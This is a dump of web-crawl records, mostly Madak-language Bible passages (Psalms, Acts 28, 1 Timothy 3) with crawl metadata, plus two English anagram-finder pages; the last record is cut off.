tin.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA085.htm","date":"2022-05-16T04:26:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00307.warc.gz","language":"mmx","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000053644180298}","num_words":279,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"33\nLoxompixan Emi Asu\n1 Nemi axap limixin manmanton, minap kup mi lomomo mumu levempanga Leeme Silok gak lox i. Nemi axap ming tonga res teren, mina emi asu min! 2 Mina tong loklox avukat ti Leeme Silok mi lempat taaleng. Mina vixan tin mi leven gita. 3 Mina vixan loxompixan maxat saparav i. Mina sep maraanu lerengteng at ligita, kusu naba reng nunuan, la minap kup mi lomomo!\n4 Levelinga at Leeme Silok i ruturun, la i epovo do ata nunu saga at leven gugu ren. 5 Leeme Silok i vavara mo leveloklok in manton la i ruturun. Labalamu lexen teren i umsu at lavatbung menemen.\n6 Leeme Silok ga rudum li laxalibet mi lavapaase mun teren. Laxangking, lagaaling mi laxampenti ga ravasu mun at levelinga ni ga tong asu i. 7 Ni ga lok bubua laras at lara loxot, la ni ga lok li lisimaramain utou xa xopok at loxot teren.\n8 Limixin at lavatkangka axap, mina lotu saparap Leeme Silok! Nemi axap limixin at lavatbung menemen minam taba asinorong i. 9 Ni ga vaase mene, la lavatbung menemen ga raut. At lavapaase mun teren levempanga axap ga ravasu.\n10 Leeme Silok ik lox amun lodoxoma ali at limixin amgomgo at levenabung mixin petpes la kopmen dinak lox epovo levendoxoma belemamao atnedi. 11 Ketla leven doxoma gagas teren i nemen amisik, la mo do ni i doma i xusu na lok tavanga, ni nabak lox epovo amisik axa i. 12 Nedi lubung mixin ne Moroa it kis ngan Leeme Silok atnedi, dina momo, atla Moroa ga soxolik ka di ngan teren axa, dina momo.\n13 Leeme Silok ik milix asi boro vana laxalibet, la i reven limixin axap. 14 Ni it kis tovana at loxot kitkis orong teren, la ik milik asi ri limixin axap di nemen at na lavatbung menemen. 15 Neni xa ga lox araut lodoxoma atnedi la ikleklen axap levempanga dik lox i.\n16 Loorong at lavatbung menemen ixo epovo na sep kepe axap limixin munepen min mumu i do i ruuna buaang limixin esep la di lolos aleng. La laradi esep ixo sak tup mi limixin munepen min mumu lolos axa ren. 17 Laxan os ti leesep ixo epovo ri sev asi limixin munepen mi lolos axa atdi. Lolos silok atnedi ixo epovo na lox asepsu tara.\n18 Ketla Leeme Silok i reven tatao nedi dik lok ngangao aleng teren, la nedi di nunu saga at labalamu lexen teren. 19 Neni ik lox asepsu di basinge lanmet, la ni ik lok tatao nedi at levenaleng at loroxo.\n20 Ata nunu saga at Leeme Silok. Neni Lurutu See Pe la Laradi Loklok Tooro atdik. 21 Ata momo saga ren, la ata nunu at laasen teren i melemelengan.\n22 O Leeme Silok, ma sing u do labalamu lexen taram na nemen eburu amisik minema. La ma doxoma ngangais tu.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA033.htm","date":"2022-05-16T04:21:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00310.warc.gz","language":"mmx","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 1.0000094175338745}","num_words":450,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.264,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"28\nPol Ga Nemen To Malta\n1 Maga rupot avukat go loxon, la maga long lenger i do mo losoxan laasen teren Malta. 2 * 2 Ko 11:27Limixin me go diga lok tooro avukat nama. Larakabu mo ga vot kaxat la maga mudut aleng tinotno. La diga xip kaka lengkumut la diga mas antos laxao la diga lox avukat tinotno nama. 3 Pol ga lok ka lengkonuna la ga lok li i ro at laxao la lara lisii ga sixisu ukamang, basinge lengkonuna mumu liplivi ap mo laxao la ga at avarang at lekngen ne Pol. 4 Limixin ap mo losoxan diga ven mo lisii ga merem to at lekngen ne Pol la diga lok tinedi getgesara xeretna, \"Na laradi neni laradi sepsev amet tadi, kuren la ne Moroa noxo lox arooro i, keke i do ni goxo seeve ro at laras.\" 5 * Mk 16:18Ketla ne Pol ga semla xepe mo lisii uto at laxao la tavanga xapmek goxo rupot saparav i. 6 * Gu 14:11Diga ngangais mo lekngen ne Pol do naba dang kaxat kopla neni na subu la na met. Ketla melemu diga ngais babaalom aleng la kopmen di goxo ven tepanga xakapmek ga vot saparav i. Kuren la diga ba gili lodoxoma atdi la diga lok, \"Neni lomoroa.\"\n7 Goxo vaxalom at langkolonu at laradi silok ne Pabilias, neni laradi gomgo ap mo losoxan. Ni ga lok tooro aleng nama, la at lavantun aleng maga nemen ngan lavaose ro at loogu ren. 8 Temen ne Pabilias mo gak midi at loora, ni gak meres aleng mi liplivi la lebelen dedele. Pol ga beles uto xeneng at loogu ren, ga sing, la ga lok li lukngen to mavana ren, la ni ga lox avukat ta. 9 Mo limixin diga ven i na la diga lok ka bok nedi limixin mekmeres me go ap mo losoxan uto saparap ne Pol la ni ga lox aroo nedi. 10 Diga lok ngangao aleng atnema la diga raba nema mi buaang leventamtaba. Melemu at lavantun gaaling ga auret do mana sixit kaxat mi lavatmon la diga lok li lempanga rinama ro vana at lavatmon, diga raba nama mi lempanga ri mo lavatpas atnema.\nPol Ga Vas Kaxat\nBoro Malta Uto Rom\nBoro Malta Uto Rom\n11 Maga nemen go at lavantun gaaling la maga sen kaxat mi lavatmon boro Aleksandria, laasen teren, \"Luxalaisang Moroa.\" Mo lavatmon ga nemen go ap mo losoxan at leven gaaling at lamanman. 12 Maga rupot to at lemenemen silok Sirakus la maga nemen go at lavantun aleng. 13 Maga sen kaxat manga me go la maga rupot to at lemenemen Regiam. Ap mo laaleng melemu lamanman avukat ga vot, la ap mo manga lara laaleng melemu maga rupot to at lemenemen Putioli. 14 Maga long lenget lentaba luvuttadi nunu mo go la diga sue nama xusu mana nemen eburu minedi at lavanuti aleng. La magak lox amisix i xuren at lavatpas atnama uto Rom. 15 Luvuttadi nunu ro Rom diga ronga i do nema maga vot la digat pas epolo uto at lenep etang at ne Apias la uto at lemenemen laasen teren Lavantun Laraogu kusu ti ekip tangarang minama. Pol ga ven di la ga tong avukat ti ne Moroa la lodoxoma ren ga lolos ba.\nPol Ga Ekip Tangarang\nMi Leme Judaia Ro Rom\nMi Leme Judaia Ro Rom\n16 * Gu 24:23Maga rupot to Rom, la diga siam do ne Pol na nemen kusuk la lara laradi esep na lok tatao i.\n17 * Gu 25:8Melemu at lavantun aleng Pol ga xup bubua ka luvuttadi amgomgo at leme Judaia. Diga rupot buru, la ne Pol ga lok tinedi, \"Luvutnetak! A goxo lok tepanga xapmek mumu limixin atdik kopla leretere at lavalabat atdik. Ketla diga lok li ia at loogu xokoxo ro Jerusalem la diga song araba ia uto at limixin me Rom. 18 * Gu 26:31Diga susue ia la diga lok do dina soxomus asu ia, mila diga long lenger i do nia xopmen a goxo lok kapmek tepanga xusu nia aba met nov i. 19 * Gu 25:11Ketla leme Judaia di goxopara i do dina soxomus asu ia la nia aga sing kusu uto ia at ne Kaisar kusu na ronga linga rak. Nia aga lox i nom ketla nia a goxo lok li tevempapaase mumu rinedi mo limixin me Judaia. 20 * Gu 24:15; 26:6-7Kuren la aga sing kusu ana ven nimi la ana epaase eburu minimi. Nia a nemen at loogu xokoxo mila a nunu at Lanarong, mo nedik limixin me Judaia ta nemen tangais i.\"\n21 Diga lok tin, \"Maxo ruuna tevelinga loklox axasep boro Judaia mumu u, kopla tara atnema me Judaia ga laa me go mi tevelinga, kopla gita tong tevelinga xapmek mumu u. 22 * Gu 24:14Ketla ma vara i do mana ronga levelinga ram, mila ma ronga i do at lengkot axap limixin di paase mumu nom libinam tadi nenu uk lok teren.\"\n23 Kuren la diga lok katling lara laaleng eburu mi ne Pol, la buaang limixin diga vot ap mo laaleng to ap mo loogu ne Pol ga nemen teren. Ga maxantamak suubu se at laxanimin neni ga soxomus lavasuun at levelinga at Linintoo at ne Moroa rinedi. Ni ga lok tong pen i do na sat ka lodoxoma atdi mi levelinga ma xeneng at Laulis Linga at ne Moses la levenmamalagan at lavaeme vapaase ali xusu dina nunu at ne Iesu. 24 Lentaba atnedi diga nunu at levelinga ren, ketla lentaba xopmen di goxo nunu. 25 * Mt 13:14Kuren la diga vas kaxat basinge i mila levendoxoma atnedi ga ekarakat melemu at levelinga at ne Pol. Ni ga tong i ridi xeretna, \"Loroonan Kaala ga vaase ruturun at lungusno at leeme vapaase ali ne Aisaia tinedi lavalabat atnemi. 26 Ni ga lok,\n'Una vot pasa nom limixin la una lok tinedi keretna, Mibang tonga, ketla mi noxo xasep teren. Miba reven, ketla mi noxo ven kisiv i. 27 Mila levendoxoma atnedi na limixin ira rebonot pam, dira lok pe vam levenbaalung atnedi. La dira vampe vam levengkatli atdi. Do dina ven mi levengkatli atdi, la dina ronga mi levenbaalung atdi, la levendoxoma atdi nakleklen, la dina rem gili saparav ia, la nia ana lox avukat nedi.' \" Ais 6:9-10\n28 * Sam 67:2; Lu 3:6; Gu 13:46; 18:6La ne Pol ga lok bok, \"Minaklen avukar i do, levelinga loklox arooro at ne Moroa diga lox aonon pam i uto at limixin kopmen di me Judaia. Dinabang tonga i.\" 29 [Melemu at ne Pol ga tong i na, leme Judaia diga on basinge i, la diga epaase mukmusak aleng kantubu atdi.]\n30 * Gu 28:16Ga legepu maares Pol ga nemen mo go ap mo loogu neni ga unun amisix i, la gak lok momo aleng tinedi digat pot pasa i. 31 * Gu 28:23Ni ga vavang mi Linintoo at ne Moroa la ga vanasa bok mi laasen at Leeme Silok, ne Iesu Karisito la kopmen tara goxo ru pe lugugu ren. Ni ga paase mi lolos la kopmen gita marat.\n*28:28: Sam 67:2; Lu 3:6; Gu 13:46; 18:6","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ebible.org\/mmx\/ACT28.htm","date":"2023-03-27T23:25:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948708.2\/warc\/CC-MAIN-20230327220742-20230328010742-00186.warc.gz","language":"mmx","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 1.0000087022781372}","num_words":1118,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nLuvuttadi Amgomgo At Lotu\n1 * Gu 20:28Anai ni levelinga ruturun. Mo do tara i vara i do na xip ka lugugu at laradi gomgo at lotu, neni i vara lavanga avukat. 2 * Ta 1:6-9Laradi gomgo at lotu neni laradi kopmen tosoogong teren at lemeren limixin. Neni latlok at leges atkin mun la it kis atnaasan. La ik lok tatao avukat luruptuvuk teren, loklok teren i lok nunuan mene nga. Neni ik lok maraose minedi limixin boro vetpes, la neni i epovo ri lox ase limixin. 3 Neni ixo inin tangtangku mi levengkadan lolos la kopmen neni laradi sepsep. Ketla neni it kis atnaasan la lorooro ren i umsu mi lumumulus la limila. Neni ixo vara solo ri levempilas. 4 Neni i epovo ri vaxaxis avukat lixitkis atdi loxoetemen, la i lox ase avukat laxamdak mi laxaalik teren kusu dinang tonga res la dina lok ngangao bok teren. 5 Do tara xopmen naklen ti vaxaxis avukat lixitkis koetemen teren, naba lok ba kereva la ni na lok tatao avukat limixin at ne Moroa? 6 Laradi gomgo neni laradi mi lununu ren i xus pam. Mila i lok kapmek do neni na lox asilox i la ni na subu beles at lebelemamao at ne Moroa, kerekngan ne Satan. 7 * 2 Ko 8:21Neni laradi limixin di nemen maxamang at lotu, di lok ngangao ren, kusu neni noxo ruuna ka tevelinga xakapmek at limixin dina lox i rin la ni na subu tup ti lelixo at ne Satan.\nLuvuttadi Loklok Tooro Xeneng At Lotu\n8 Luvuttadi loklok tooro xeneng at lotu dina umsu mi luruptuvuk avukat at lemeren limixin, la levelinga atdi na nunuan. Di noxo inin tangtangku levengkadan lolos, la di noxok lok kaka levempilas at langas kopmen nak mokso. 9 Dinam tebeng amisik luruturun at leveloklox ase at lununu atdik. La lodoxoma atdi di noxo suma loklok mamangan keneng at lorooro atdi. 10 Una lok tong pen avot be di, la dola dina gugu avukat, dina lok ka ba nom lugugu loklok tooro.\n11 * Ta 2:3Lavakin bok atdi dinap tuvuk nunuan la di noxo tere mumu, ketla dinat kis atnaasan mun la dina ruturun at levempanga axap.\n12 Na laradi loklok tooro, neni latlok at leges atkin mun, la neni i epovo na vaxaxis avukat laxamdak mi laxaalik teren la nedi axap bok to at loogu ren. 13 Do na luvuttadi loklok tooro dina lok leven gugu avukat, dinaba lok ka levenasen silok la dina vaase basabas mi lununu atdi xeneng at ne Iesu Karisito.\nLavasuun At Lununu Atdik\n14 Nia a malagan na levelinga ru ketla a doxoma i do aba vot pasa soso box u. 15 * Ep 2:19-22Do nia a noxo vot soso, nenu u epovo na lox ase limixin kusu dina lok tatao avukat di keneng at lixitkis koetemen atdi mi ne Moroa. Na loklok, ni lavasuun at lotu ruturun at ne Moroa, Luntoo Avolo, neni luxus una la lusu auru at levelinga ruturun.\n16 * Jo 1:14; Mk 16:19I ruturun aleng do lotu atdik, ni lavanga i silok aleng mumu Leeme Silok atdik.\n\"Neni ga rupot ngan laradi. Loroonan Kaala ga lox asuusu i do lorooro ren ga nemen manmanton, la lubungangelo diga ven i. Limixin diga vavang min to at lengkot axap la limixin diga nunu ren nade at na lavatbung menemen. La ne Moroa ga lok ka i uto vana at laxalibet.\" Sam 9:11","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/png.bible\/mmx\/1TI03.htm","date":"2023-12-11T08:37:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103810.88\/warc\/CC-MAIN-20231211080606-20231211110606-00257.warc.gz","language":"mmx","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000098943710327}","num_words":538,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.338,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"133\nI Lox Avukat At Labalamu\nEla At Limixin At Ne Moroa\nEla At Limixin At Ne Moroa\n1 I milik maraanu la i nunuan aleng at loxonaleng limixin at ne Moroa di nemen buru xeneng at lenmila oon. 2 I nunuan ngan ta loxodan momonok maraanu gano diga lox anarong lamaasa ne Aron min. Diga soli asu mo loxodan to mavana at lavatlak teren la mo loxodan ga sesen su boro at laraes teren, la ga sesen si uto at laxaka at lavanga singsiga ren. 3 I lox avukat ngan bok ledemi boro at lakaana Eremon it pot at lengkong kaana lixilik to Saion. La ap mo loxot ne Moroa ga xaape kusu naba lox anarong limixin mi lorooro lexen.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA133.htm","date":"2022-05-16T05:00:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00791.warc.gz","language":"mmx","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000098943710327}","num_words":117,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19\nLuruntudum Li At\nNe Moroa I Lox Asuusu Laasen Silok Teren\nNe Moroa I Lox Asuusu Laasen Silok Teren\n1 Laxalibet ik lox asuusu lisisixam at ne Moroa. La levempanga axap go ik lox asuusu lugugu silok neni ga lox i. 2 At levenaleng kangking axap mo levempanga dik lox asuusu i. La levenaleng kanimin axap bok, dik lox asuusu i. 3 Kopmen dina vaase asu tevelinga la kopmen bok ata ronga asu i. 4 Levempapaase atdi i ravasu ri limixin at lavatbung menemen axap. La levelinga atdi it pas ti latnese at na lavatkangka. Moroa ga lok loxot kitkis to vana at lamavangkap ti laxangking. 5 Ip tavasu maxantamak suubu ngan laradi i epot maxat la i lok momo ri vas su, i ngan bok laradi lolos i lok momo ti sixit at lekampoovo. 6 Laxangking i ravasu ro at lenep kavaxap at lavatbung menemen la ik sixit korop uto at lara lenep kavaxap bok. Kopmen tempanga i epovo na lipe basinge liplivi ren.\nLaulis Linga At Ne Moroa\n7 Laulis Linga at Leeme Silok ik mokso axap. Im taba lolos maxat ti limixin di mu asu i. Levempapaase ali at Leeme Silok, i epovo do dik ata nunu saga ren. La im taba lodoxoma avukat tinedi xopmen todoxoma avukat atnedi. 8 Laulis Linga at Leeme Silok ik mokso aleng, la nedi di mumu asu i di momo. Levempapaase ali at ne Moroa i nunuan, la im taba lodoxoma avukat ti limixin. 9 I lox avukat do laradi na lok ngangao at Leeme Silok, la limixin dinaba lok ngangao epasum amisik. Levelinga loklox akmokso at Leeme Silok in manton la i lox avukat amisik. 10 I lox avukat do limixin dina vara aleng i polo logol. La i so avukat tino ri limisiu. 11 Leeme Silok, leventaangas taram im taba ia mi lakleklen, nia lasaxaruki ram. Anabak lok kaka luunun teren, mo do nia ana mumu asu levelinga ram.\n12 Leeme Silok, kopmen tara i epovo xusu ni na ven lenget ka axa libilinga ren, kuren la una doxoma xepe mo libilinga nia xopmen na xasep teren. 13 Una lok tooro ia xusu nia noxo lok laxapmek ua nenia a vara i. Nemen uta ke xepe i na sak pavaa ia xusu nia anaban manton la anaba sepmus basinge lolos at libilinga. 14 Nia a vara i do levempapaase rak mi lodoxoma rak nan manton at lamaram. O Leeme Silok, nenu Loxot Loklox Alipe rak, la nenu Lentu Korop Pe rak.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA019.htm","date":"2022-05-16T04:36:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00734.warc.gz","language":"mmx","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000009298324585}","num_words":398,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"124\nMoroa Neni Lurutu\nSee Pe At Limixin Teren\nSee Pe At Limixin Teren\n1 Mo do Leeme Silok gixo tu at lenep atdik, nedik limixin axap me Israel giba ekip tangarang mi lempanga salai?\n2 Mo do Leeme Silok gixo tu at lenep atdik, limixin munepen midik giba esep tangarang midik. 3 La lebelemamao atdi giba lok kapmek aleng tidik, la nedi giba linge bintoo nedik 4 la di lok ngan ladanut giba vula pe nedik, la na vaxat ka nedik uto vetpes, 5 la nedi di lok bok ngan laraan silok gibak mir axong nedik.\n6 Ata tong avukat ti Leeme Silok atla goxo ke kepe limixin munepen midik kusu dina sele utut dik. 7 Nedik tara sixiro vam kerekngan lapka i sixiro basinge lelixo, nai lelixo ira rexorop pam, la nedik na tara sepmus ta. 8 Loklok tooro atdik ip tavasu boro at Leeme Silok, neni ga rudum li laxalibet mi lavatbung menemen.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA124.htm","date":"2022-05-20T01:05:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00761.warc.gz","language":"mmx","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000007152557373}","num_words":147,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.231,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"125\nLixitkis Nunuan\nTi Limixin At Ne Moroa\nTi Limixin At Ne Moroa\n1 Nedi di nunu saga at Leeme Silok, di lok ngan Lakaana Saion ua ixo epovo do tara nakma asubu i, ketla naba tu atmatkun lexen tino. 2 Larakaana dit kis kangkan lemenemen Jerusalem, la kerepmo bok Leeme Silok nabang kan pe axap limixin teren monga la at levenaleng axap i tu melamgo.\n3 Limixin kapmek di noxom gomgonga amisik lenep kangka atnedik limixin manmanton teren. Mo do dina lox i xuren, limixin manmanton bok giba vubeles at laxakapmek. 4 Leeme Silok, una lok lununuan tinedi dik lok nunuan, la tinedi bok ding tonga res at levempapaase ali ram. 5 Ketla una lox asongot nedi dit pas at leventaangas i xakauk, la una lox asongot nedi bok di sok tixirixes kepe leventaangas taram.\nLimila nak lok to Israel.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA125.htm","date":"2022-05-16T05:51:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00282.warc.gz","language":"mmx","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000067949295044}","num_words":135,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"129\nLisingising Ti Lok Pe\nLavamunepen\nMi Limixin Me Israel\nLavamunepen\nMi Limixin Me Israel\n1 Limixin me Israel, mina tong asu mo levenngas ua limixin munepen minemi diga lox asongot nemi min, ga ruka i at lurutu kaxat at lubung mixin atnedik.\n2 Ap mo levenmaares limixin munepen minema digak lox asongot kapmek tinotno nema, ketla di goxo epovo ri vas asi nema. 3 Ga lok ngan ta do diga tara lempat nin kooxing at leven antuno atnema, la gak milik ngan ta laxangka ding kin li i ritlotlo vanga anan. 4 Ketla Leeme Silok, ni Laradi Manmanton, gara lox asepmus pam nema basinge lasaksaxango at limixin munepen.\n5 A vara Leeme Silok do, neni naba sep aoo nedi limixin ua di belengatngas ti limixin me Saion. 6 A vara i do dinaba lok ngan levempivilis i suu xat ro vana at lavatlak gu, ua naba mang soso mun. 7 La teta noxo dik kaka tempanga ren kopla nap kos eburu i la na xip kaka i uto at loogu ren. 8 La do tentaba na ekip tangarang midi ro at langa nedi noxo tong i ridi do, \"Ma sing Leeme Silok kusu na lox anarong nimi. Ma lox anarong nimi mi laasen at Leeme Silok.\"","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA129.htm","date":"2022-05-16T11:26:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00766.warc.gz","language":"mmx","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000042915344238}","num_words":198,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.278,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"146\nLeemi Asu\nRi Ne Moroa Luntoo\nRi Ne Moroa Luntoo\n1 Leemi asu ri Leeme Silok! Labalak, una emi asu mi Leeme Silok! 2 Anaba emi asu min at levenaleng axap, nenia ana rooro ren. La anabak pixan ti ne Moroa rak keneng at lorooro axap tarak.\n3 Mi guta nunu saga at lubung amgomgo mede at lavatbung menemen ti loklok tooro, atla kopmen teta mede xopok i epovo na lox asepsu nemi. 4 Mo do dina met, dinabam long ti laxangka. La ap mo laaleng, leven doxoma ali atdi naba xap.\n5 Laradi naba ruuna xaka lomomo mo do neni na siam kaka ne Moroa at ne Jakop kusu tik lok tooro i, la neni i nunu saga at Leeme Silok ne Moroa ren, 6 atla neni Laradi Runtudum Li at laxalibet mi lavatkangka la laras, la mo lempanga axap bok di nemen keneng at na lengkot axap. Neni ik lox epovo amisik leveng kakaape ren. 7 Ing tonga linga avukat at lava baava, la im taba luxa nedi dik toxo.\nLeeme Silok ik lox asepmus luvuttadi xokoxo, 8 la irak lox arepalas lengkatli atnedi ua dixo reven. Neni im tebeng aonon nedi ua diga subu mi levenmumuat. Neni i balamu aleng tinotno nedi limixin manmanton teren. 9 Neni ik lok see atnedi limixin me xadiong ua di nemen keneng at lenep kangka atnedik. Ik lok tooro lempat naa rixin eburu mi lubung karun, ketla ik lox asaxaek tino nedi luvuttadi loklok kakapmek.\n10 Leeme Silok neni Loorong Avolo la kopmen tekavaxap teren. O leme Saion, ne Moroa atnimi nabat kis amgomgo lexen tinotno.\nLeemi asu ri Leeme Silok!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA146.htm","date":"2022-05-16T05:58:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00505.warc.gz","language":"mmx","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.000009536743164}","num_words":260,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} diff --git a/mmx_Latn/fineweb-2_000001_remove.jsonl b/mmx_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..ee7364b1eb5d79250da05b316f6c17c860e55315 --- /dev/null +++ b/mmx_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1,30 @@ +{"text":"matlos\n6 letters in word \"matlos\": A L M O S T.\nAnagrams of matlos:\nWords found within matlos:\nal alms als also alt alto altos alts am as at atom atoms la lam lams las last lat lats lo loam loams loast loma lomas los lost lot lota lotas lots ma mal mals malt malts mas mast mat matlo mats mo moa moas moat moats mol mola molas mols molt molts mos most mot mots oast oat oats olm olms om oms os sal salt salto sam sat slam slat slot sma smalt smolt so sol sola som soma sot st stoa stoma ta tam tams tao taos tas to tola tolas tom toms tosa","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/matlos.worddetector.com\/","date":"2017-03-28T17:40:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189802.72\/warc\/CC-MAIN-20170322212949-00358-ip-10-233-31-227.ec2.internal.warc.gz","language":"mmx","language_score":0.4241428077,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 0.4241428077220917, \"sgs_Latn_score\": 0.21576395630836487, \"heg_Latn_score\": 0.046509116888046265, \"vol_Latn_score\": 0.03550909459590912, \"sua_Latn_score\": 0.02583695761859417, \"wrs_Latn_score\": 0.024722693488001823, \"whg_Latn_score\": 0.023949623107910156, \"eng_Latn_score\": 0.012222268618643284, \"ury_Latn_score\": 0.012010154314339161, \"huv_Latn_score\": 0.010773402638733387, \"klv_Latn_score\": 0.010079218074679375}","num_words":115,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.428,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"amatols\n7 letters in word \"amatols\": A A L M O S T.\nNo anagrams for amatols found in this word list.\nWords found within amatols:\naa aal aals aas al ala alamo alamos alas alma almas almost alms als also alt alto altos alts am ama amas amatol amla amlas as at atlas atma atmas atom atoms la laa laas lam lama lamas lams las last lat lats lo loam loams loast loma lomas los lost lot lota lotas lots ma maa maas mal mals malt malts mas masa mast mat matlo matlos mats mo moa moas moat moats mol mola molas mols molt molts mos most mot mots oast oat oats olm olms om omasa omasal oms os sal salt salto sam sama sat slam slat slot sma smalt smalto smolt so sol sola som soma somata sot st stoa stoma stomal ta tala talas talma talmas tam tamal tamals tams tao taos tas to tola tolas tom toms tosa","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/amatols.worddetector.com\/","date":"2017-04-29T09:26:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123484.45\/warc\/CC-MAIN-20170423031203-00163-ip-10-145-167-34.ec2.internal.warc.gz","language":"mmx","language_score":0.4248212874,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.42482128739356995, \"heg_Latn_score\": 0.21005147695541382, \"sgs_Latn_score\": 0.035567618906497955, \"vol_Latn_score\": 0.02835889719426632, \"arb_Latn_score\": 0.02607390470802784, \"huv_Latn_score\": 0.02481781132519245, \"bvz_Latn_score\": 0.0162244513630867, \"pcm_Latn_score\": 0.011123758740723133, \"klv_Latn_score\": 0.010891620069742203, \"aoj_Latn_score\": 